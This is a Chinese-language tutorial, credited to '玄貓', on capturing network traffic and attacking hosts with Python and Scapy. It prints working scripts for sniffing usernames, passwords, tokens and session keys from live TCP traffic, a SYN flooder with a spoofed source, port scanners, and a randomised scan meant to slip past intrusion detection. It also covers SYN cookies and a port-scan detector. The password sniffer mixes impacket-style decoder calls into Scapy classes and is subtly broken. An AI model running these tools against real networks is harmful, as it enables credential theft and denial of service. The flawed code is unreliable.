網路流量分析在資安領域扮演著至關重要的角色,它能幫助我們監控網路活動、偵測惡意行為並防禦網路攻擊。本文將示範如何使用 Python 和一些網路分析工具,特別是 Scapy 和 pcapy,來攔截 TCP 流量並從中提取敏感資訊,例如使用者名稱和密碼。此技術應用範圍廣泛,包含企業內網安全監控、滲透測試和網路攻擊分析等。Python 因其豐富的函式庫和簡潔的語法而成為我們的首選開發語言,pcapy 則用於捕捉網路封包,並結合正規表示式來比對目標資訊。我們將詳細介紹程式碼的運作原理,包含網路卡和過濾條件設定、封包解碼、正規表示式比對以及命令列引數解析。此外,我們還會探討 SYN-Flooding 攻擊、埠掃描技術,並提供相應的防禦策略。最後,我們將分析 TCP/IP 探測技術,並示範如何使用 Scapy 建立偵測機制,以監控和防禦網路掃描行為。隨著網路技術的演進,加密流量分析和機器學習技術的應用將成為未來研究的重點。

網路流量攔截:抓取 TCP 封包中的敏感資訊

在現代網路安全中,網路流量攔截是一項非常重要的技術。它不僅能幫助我們監控網路狀況,還能用來檢測潛在的安全威脅。玄貓今天要介紹的是如何利用 Python 和一些網路分析工具來攔截 TCP 流量,並從中抓取敏感資訊,如使用者名稱和密碼。

應用場景與技術選型

這個技術可以應用在多種場景中,例如企業內部網路安全監控、漏洞測試以及網路攻擊分析。我們選擇 Python 作為開發語言,因為它擁有豐富的函式庫和工具來處理網路流量分析。此外,我們使用 pcapy 函式庫來捕捉網路封包,並利用正規表示式來比對敏感資訊。

程式碼實作

以下是完整的程式碼範例,這段程式碼會攔截指定網路卡上的 TCP 流量,並尋找可能包含使用者名稱和密碼的封包。

import sys
import getopt
import pcapy
from scapy.all import *
import re

# 設定網路卡和過濾條件
dev = "enp3s0f1"
filter = "tcp"

# 解碼器初始化
eth_dec = Ether()
ip_dec = IP()
tcp_dec = TCP()

# 正規表示式模式,用於比對使用者名稱和密碼
pattern = re.compile(r"(?P<found>(USER|USERNAME|PASS|PASSWORD|LOGIN|BENUTZER|PASSWORT|AUTH|ACCESS|ACCESS_KEY|SESSION|SESSION_KEY|TOKEN)[=: \s].+)\b",
                     re.MULTILINE | re.IGNORECASE)

# 捕捉每個封包並解碼
def handle_packet(hdr, data):
    eth_pkt = eth_dec.decode(data)
    ip_pkt = ip_dec.decode(eth_pkt.get_data_as_string())
    tcp_pkt = tcp_dec.decode(ip_pkt.get_data_as_string())
    payload = tcp_pkt.get_data_as_string()
    match = None

    try:
        match = re.search(pattern, payload.decode())
    except (UnicodeError, AttributeError):
        # 如果封包內容是加密或二進位制資料,則跳過
        pass

    if not tcp_pkt.get_SYN() and not tcp_pkt.get_RST() and not tcp_pkt.get_FIN() and match and match.groupdict()['found'] is not None:
        print("%s:%d -> %s:%d" % (ip_pkt.get_ip_src(), tcp_pkt.get_th_sport(), ip_pkt.get_ip_dst(), tcp_pkt.get_th_dport()))
        print("\t%s\n" % match.groupdict()['found'])

# 命令列引數解析
def usage():
    print(sys.argv[0] + " -i <dev> -f <pcap_filter>")
    sys.exit(1)

try:
    cmd_opts = "f:i:"
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()

for opt in opts:
    if opt[0] == "-f":
        filter = opt[1]
    elif opt[0] == "-i":
        dev = opt[1]
    else:
        usage()

# 啟動封包捕捉
pcap = pcapy.open_live(dev, 1500, 0, 100)
pcap.setfilter(filter)
print("Sniffing passwords on " + str(dev))
pcap.loop(0, handle_packet)

內容解密:

  1. 網路卡與過濾條件設定:我們首先設定了要攔截的網路卡(enp3s0f1)和過濾條件(tcp),這意味著我們只會攔截 TCP 流量。
  2. 解碼器初始化:我們初始化了乙太網、IP 和 TCP 的解碼器,以便能夠解析封包的各個層次。
  3. 正規表示式模式:我們定義了一個正規表示式模式,用於比對可能包含使用者名稱和密碼的字串。
  4. 處理每個封包handle_packet 函式會被呼叫來處理每個捕捉到的封包。它會先解析封包的乙太網、IP 和 TCP 層次,然後嘗試解碼負載部分。如果負載部分包含比對的敏感資訊,則會輸出相關內容。
  5. 命令列引數解析:我們使用 getopt 函式庫來解析命令列引數,以便能夠動態設定網路卡和過濾條件。
  6. 啟動封包捕捉:最後,我們啟動了 pcapy 函式庫來捕捉封包,並將每個封包傳遞給 handle_packet 函式進行處理。

技術選型考量

選擇 Python 作為開發語言的原因是其豐富的函式庫支援和簡單易用的語法。此外,pcapyscapy 是兩個非常強大的工具函式庫,能夠方便地進行網路流量分析和操作。正規表示式則是一種靈活且高效的方法來比對敏感資訊。

未來趨勢與改進建議

隨著網路技術的不斷發展,未來可能會有更多加密技術被應用在網路通訊中。這意味著我們需要不斷更新和改進我們的技術手段,以便能夠有效地檢測和分析加密流量。此外,還可以考慮引入機器學習技術來提高敏感資訊比對的準確性。

使用 Scapy 進行網路攻擊與防禦

SYN-Flooder 攻擊

SYN-Flooding 是一種常見的分散式拒絕服務(DDoS)攻擊方式,它透過向目標系統傳送大量的偽造 TCP SYN 封包,使其陷入半開連線狀態,從而拒絕合法的連線請求。為了理解這種攻擊,玄貓將展示如何使用 Python 和 Scapy 工具來實作簡單的 SYN-Flooder。

#!/usr/bin/python3

import sys
from scapy.all import srflood, IP, TCP

if len(sys.argv) < 3:
    print(sys.argv[0] + " <spoofed_source_ip> <target>")
    sys.exit(0)

packet = IP(src=sys.argv[1], dst=sys.argv[2]) / \
    TCP(dport=range(1, 1024), flags="S")

srflood(packet)

內容解密:

這段程式碼展示瞭如何使用 Scapy 函式庫來實作一個簡單的 SYN-Flooding 攻擊。首先,我們匯入了必要的模組 sysscapy.all。接著,檢查命令列引數是否正確提供了源 IP 和目標 IP。然後,我們構建了一個 IP 封包,其中包含了偽造的源 IP 和目標 IP,並設定了 TCP 的 SYN 標誌。最後,我們使用 srflood 函式傳送這些封包。

通常,SYN 洪水攻擊會結合 IP 偽造,以避免攻擊者被自己的回應封包洪水淹沒。此外,攻擊者還可以透過偽造其他系統的 IP 地址來增加流量,因為被偽造的系統會對每個 SYN/ACK 封包傳送 RST 封包。

防禦 SYN-Flooding 攻擊

為了防禦 SYN-Flooding 攻擊,現代作業系統已經提供了一些機制。例如,在 Linux 中,可以透過啟用 SYN cookies 來防禦這種攻擊。SYN cookies 是一種機制,它在接收到 SYN 封包時不立即建立連線狀態,而是生成一個唯一的 cookie 值並將其傳回給客戶端。當客戶端傳送 ACK 封包時,伺服器使用 cookie 值來驗證連線請求的合法性。

echo 1 > /proc/sys/net/ipv4/tcp_syncookies

此外,BSD 和 Mac OS X 系統也有類別似的機制。更多關於 SYN cookies 的資訊可以參考 Daniel Bernstein 的教程。

埠掃描技術

埠掃描是網路安全檢測中的一個重要技術,它用於探測目標系統上的開放埠。這樣可以幫助攻擊者找到可能的進入點或漏洞。以下是使用 Scapy 實作的一個簡單埠掃描器範例。

#!/usr/bin/python3

import sys
from scapy.all import sr, IP, TCP

if len(sys.argv) < 2:
    print(sys.argv[0] + " <host> [<spoofed_source_ip>]")
    sys.exit(1)

if len(sys.argv) == 3:
    packet = IP(dst=sys.argv[1], src=sys.argv[2])
else:
    packet = IP(dst=sys.argv[1])

packet /= TCP(dport=range(1, 1025), flags="S")

answered, unanswered = sr(packet, timeout=1)

res = {}

for packet in unanswered:
    res[packet.dport] = "filtered"

for (send, recv) in answered:
    if recv.get_layer("ICMP"):
        type = recv.get_layer("ICMP").type
        code = recv.get_layer("ICMP").code
        if code == 3 and type == 3:
            res[send.dport] = "closed"
        else:
            res[send.dport] = "Got ICMP with type " + str(type) + " and code " + str(code)
    else:
        flags = recv.get_layer("TCP").sprintf("%flags%")
        if flags == "SA":
            res[send.dport] = "open"
        elif flags == "R" or flags == "RA":
            res[send.dport] = "closed"
        else:
            res[send.dport] = "Got packet with flags " + str(flags)

ports = res.keys()

for port in sorted(ports):
    if res[port] != "closed":
        print(str(port) + ": " + res[port])

內容解密:

這段程式碼展示瞭如何使用 Scapy 函式庫來實作一個簡單的埠掃描器。首先,我們匯入了必要的模組 sysscapy.all。接著,檢查命令列引數是否正確提供了目標主機和可選的偽造源 IP。然後,我們構建了一個 IP 封包並設定 TCP 的 SYN 標誌。接著,我們使用 sr 函式傳送這些封包並等待回應。

根據回應封包的不同情況,我們分別記錄埠狀態為「開放」、「關閉」或「過濾」。最後,我們將結果列印預出來。

網路安全技術分析與防範

網路安全技術不僅僅是防止攻擊者利用漏洞進行破壞或竊取資料,更是保護資訊系統的完整性和可用性。玄貓強調,瞭解各種攻擊技術及其防禦機制對於提升整體網路安全性至關重要。

防範措施:

  • 啟用防火牆:防火牆可以過濾和阻擋不必要或可疑的流量。
  • 更新系統和軟體:定期更新系統和軟體以修補已知漏洞。
  • 使用入侵偵測系統(IDS):IDS 能夠實時監控網路流量並偵測異常行為。
  • 加密通訊:使用 TLS/SSL 加密通訊以防止資料在傳輸過程中被竊取或篡改。

未來趨勢與挑戰

隨著網路技術的不斷進步,網路攻擊手法也在不斷演變。玄貓認為未來可能會面臨以下挑戰:

  • 高階持續性威脅(APT):這些攻擊者具有高度技術能力且目標明確。
  • 物聯網(IoT)裝置安全性:隨著 IoT裝置普及,其安全性問題將變得更加嚴重。
  • 人工智慧與機器學習:AI 和機器學習技術將被廣泛應用於網路安全領域,但也可能被惡意利用。

總之,「玄貓」認為透過深入瞭解各種網路攻擊技術及其防範措施,「玄貓」可以有效提升網路安全性並保護資訊系統免受潛在威脅。

使用 Scapy 進行 TCP / IP 探測與防禦

在網路安全領域中,TCP / IP 探測是一種常見的技術手法,用來檢查目標系統開放的網路埠。這些埠可能會暴露出系統的弱點或服務,進而成為攻擊者的入侵目標。Scapy 是一個強大的 Python 函式庫,能夠方便地進行網路包的捕捉和分析。本文將探討如何使用 Scapy 進行 TCP / IP 探測,並且如何建立防禦機制來偵測這些掃描行為。

基本 TCP / IP 探測技術

TCP / IP 探測技術有多種形式,其中最常見的是 SYN 探測。SYN 探測會傳送 SYN 包到目標系統的各個埠,然後觀察回應包來判斷該埠是否開放。除了 SYN 探測,還有一些其他的探測技術,如 Null 探測、FIN 探測和 XMAS 探測。這些技術通常會使用特定的 TCP 旗標來觸發系統的回應。

使用 Scapy 進行 SYN 探測

Scapy 提供了豐富的功能來進行網路包的建構和分析。以下是一個簡單的 SYN 探測範例:

from scapy.all import *
import random

def syn_scan(target_ip, port_range):
    for port in port_range:
        # 建構 SYN 包
        packet = IP(dst=target_ip)/TCP(dport=port, flags='S')
        # 傳送包並接收回應
        response = sr1(packet, timeout=1, verbose=0)
        if response is None:
            print(f"Port {port}: Closed")
        elif response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12:
            print(f"Port {port}: Open")
        elif response.haslayer(TCP) and response.getlayer(TCP).flags == 0x14:
            print(f"Port {port}: Closed")
        else:
            print(f"Port {port}: Unknown")

if __name__ == "__main__":
    target_ip = "192.168.1.1"
    port_range = range(1, 1025)
    syn_scan(target_ip, port_range)

內容解密:

  • 建構 SYN 包:使用 IPTCP 模組來建構一個 SYN 包。dst引數指定目標 IP 地址,dport引數指定目標埠,flags='S' 指定 SYN 旗標。
  • 傳送包並接收回應:使用 sr1 函式傳送包並接收回應。timeout=1 表示等待回應的時間為 1 秒。
  • 分析回應:根據回應包的旗標來判斷埠狀態。0x12 對應於 SYN 和 ACK 旗標同時設定,表示埠開放;0x14 對應於 RST 和 ACK 旗標同時設定,表示埠關閉。

應對探測行為的防禦機制

為了防止網路掃描行為,我們可以建立一個偵測機制來監控異常的網路流量。以下是一個使用 Scapy 偵測 TCP / IP 探測行為的範例:

from scapy.all import sniff
from collections import defaultdict
import time

# 全域變數
ip_to_ports = defaultdict(dict)
nr_of_diff_ports = 10
portscan_timespan = 10

def detect_port_scan(packet):
    ip = packet.getlayer("IP")
    tcp = packet.getlayer("TCP")

    # 記錄掃描的埠和時間
    ip_to_ports[ip.src][str(tcp.dport)] = int(time.time())

    # 檢查來源 IP 是否掃描了太多不同的埠
    if len(ip_to_ports[ip.src]) >= nr_of_diff_ports:
        scanned_ports = ip_to_ports[ip.src].items()
        # 檢查每個掃描記錄的時間
        for scanned_port, scan_time in scanned_ports:
            # 若掃描時間超出指定範圍,刪除記錄
            if scan_time + portscan_timespan < int(time.time()):
                del ip_to_ports[ip.src][scanned_port]

        # 若仍有太多掃描記錄,則認為是掃描行為
        if len(ip_to_ports[ip.src]) >= nr_of_diff_ports:
            print(f"Port scan detected from {ip.src}")
            print(f"Scanned ports: {', '.join(ip_to_ports[ip.src].keys())}\n")
            del ip_to_ports[ip.src]

if __name__ == "__main__":
    sniff(prn=detect_port_scan, filter="tcp", store=False)

內容解密:

  • 全域變數ip_to_ports 用來記錄每個來源 IP 的掃描記錄。nr_of_diff_portsportscan_timespan 分別定義了在指定時間內允許掃描的最大不同埠數量和時間範圍。
  • 記錄掃描行為:每當捕捉到一個 TCP 包時,記錄其來源 IP 和目標埠。
  • 檢查異常行為:如果某個來源 IP 在指定時間內掃描了太多不同的埠,則認為是掃描行為並輸出警告資訊。

改進與最佳化

隨機化掃描策略

高階攻擊者通常會使用隨機化策略來避免被偵測。他們會隨機選擇目標主機和目標埠,並且在不同時間間隔傳送探測包。這樣可以降低被網路入侵偵測系統(NIDS)檢測到的風險。

改進後的隨機掃描範例:
import random

def random_scan(target_ip_list, port_range):
    for target_ip in target_ip_list:
        for port in random.sample(port_range, len(port_range)):
            # 建構 SYN 包
            packet = IP(dst=target_ip)/TCP(dport=port, flags='S')
            # 傳送包並接收回應
            response = sr1(packet, timeout=random.uniform(0.5, 2), verbose=0)
            if response is None:
                print(f"Port {port} on {target_ip}: Closed")
            elif response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12:
                print(f"Port {port} on {target_ip}: Open")
            elif response.haslayer(TCP) and response.getlayer(TCP).flags == 0x14:
                print(f"Port {port} on {target_ip}: Closed")
            else:
                print(f"Port {port} on {target_ip}: Unknown")

if __name__ == "__main__":
    target_ip_list = ["192.168.1.1", "192.168.1.2"]
    port_range = range(1, 1025)
    random_scan(target_ip_list, port_range)

評估與改進防禦策略

防禦策略需要不斷評估和改進以應對新興威脅。可以考慮以下幾點:

  • 增加監控範圍:除了監控 TCP 流量外,還可以擴充套件到其他協定(如 UDP、ICMP)以提高偵測覆寫率。
  • 動態調整閾值:根據網路流量情況動態調整 nr_of_diff_portsportscan_timespan 的值以減少誤報率。
  • 整合其他安全工具:將本地偵測與其他安全工具(如 SIEM)整合,提供更全面的安全檢視。